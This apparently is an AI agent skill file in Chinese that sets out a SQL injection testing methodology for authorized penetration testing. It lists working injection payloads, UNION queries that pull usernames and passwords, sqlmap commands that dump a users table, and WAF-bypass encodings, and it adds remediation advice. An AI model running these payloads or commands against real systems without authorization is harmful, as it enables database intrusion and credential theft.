--- name: sql-injection-testing description: SQL注入测试的专业技能和方法论 version: 1.0.0 --- # SQL注入测试技能 ## 概述 SQL注入是一种常见且危险的Web应用漏洞。本技能提供了系统化的SQL注入测试方法、检测技术和利用策略。 ## 测试方法 ### 1. 参数识别 - 识别所有用户输入点:URL参数、POST数据、HTTP头、Cookie等 - 重点关注:id、search、filter、sort等参数 - 使用Burp Suite或类似工具拦截和修改请求 ### 2. 基础检测 - 单引号测试:`'` - 查看是否出现SQL错误 - 布尔盲注:`' AND '1'='1` vs `' AND '1'='2` - 时间盲注:`' AND SLEEP(5)--` - 联合查询:`' UNION SELECT NULL--` ### 3. 数据库识别 - MySQL:`' AND @@version LIKE '%mysql%'--` - PostgreSQL:`' AND version() LIKE '%PostgreSQL%'--` - MSSQL:`' AND @@version LIKE '%Microsoft%'--` - Oracle:`' AND (SELECT banner FROM v$version WHERE rownum=1) LIKE '%Oracle%'--` ### 4. 信息提取 - 数据库名:`' UNION SELECT database()--` - 表名:`' UNION SELECT table_name FROM information_schema.tables--` - 列名:`' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--` - 数据提取:`' UNION SELECT username,password FROM users--` ## 工具使用 ### sqlmap ```bash # 基础扫描 sqlmap -u "http://target.com/page?id=1" # 指定参数 sqlmap -u "http://target.com/page" --data="id=1" --method=POST # 指定数据库类型 sqlmap -u "http://target.com/page?id=1" --dbms=mysql # 获取数据库列表 sqlmap -u "http://target.com/page?id=1" --dbs # 获取表 sqlmap -u "http://target.com/page?id=1" -D database_name --tables # 获取数据 sqlmap -u "http://target.com/page?id=1" -D database_name -T users --dump ``` ### 手动测试 - 使用Burp Suite的Repeater模块 - 使用浏览器开发者工具 - 编写Python脚本自动化测试 ## 绕过技术 ### WAF绕过 - 编码绕过:URL编码、Unicode编码、十六进制编码 - 注释绕过:`/**/`, `--`, `#` - 大小写混合:`SeLeCt`, `UnIoN` - 空格替换:`/**/`, `+`, `%09`(Tab), `%0A`(换行) ### 示例 ``` 原始:' UNION SELECT NULL-- 绕过1:'/**/UNION/**/SELECT/**/NULL-- 绕过2:'%55nion%20select%20null-- 绕过3:'/*!UNION*//*!SELECT*/null-- ``` ## 验证和报告 ### 验证步骤 1. 确认可以执行SQL语句 2. 提取数据库信息验证 3. 评估影响范围(数据泄露、权限提升等) 4. 记录完整的POC(请求/响应) ### 报告要点 - 漏洞位置和参数 - 影响的数据和系统 - 完整的利用步骤 - 修复建议(参数化查询、输入验证等) ## 注意事项 - 仅在授权测试环境中进行 - 避免对生产数据造成破坏 - 谨慎使用DROP、DELETE等危险操作 - 记录所有测试步骤以便复现